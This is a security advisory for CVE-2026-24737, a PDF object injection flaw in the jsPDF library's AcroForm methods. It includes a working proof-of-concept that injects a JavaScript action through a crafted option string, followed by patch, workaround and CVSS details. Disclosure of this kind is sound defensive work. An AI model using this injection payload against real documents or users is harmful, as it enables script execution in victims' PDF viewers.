CVE-2026-24737
ADVISORY - githubSummary
Impact
User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.
If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are:
AcroformChoiceField.addOptionAcroformChoiceField.setOptionsAcroFormCheckBox.appearanceStateAcroFormRadioButton.appearanceState
Example attack vector:
import { jsPDF } from "jspdf"
const doc = new jsPDF();
var choiceField = new doc.AcroFormChoiceField();
choiceField.T = "VulnerableField";
choiceField.x = 20;
choiceField.y = 20;
choiceField.width = 100;
choiceField.height = 20;
// PAYLOAD:
// 1. Starts with "/" to bypass escaping.
// 2. "dummy]" closes the array.
// 3. "/AA" injects an Additional Action (Focus event).
// 4. "/JS" executes arbitrary JavaScript.
const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage [";
choiceField.addOption(payload);
doc.addField(choiceField);
doc.save("test.pdf");
Patches
The vulnerability has been fixed in jsPDF@4.1.0.
Workarounds
Sanitize user input before passing it to the vulnerable API members.
Credits
Research and fix: Ahmet Artuç
GitHub
2.8
CVSS SCORE
8.1high| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| jspdf | npm | - | - | <=4.0.0 | 4.1.0 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.
An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
There is no impact to availability within the impacted component.
NIST
2.8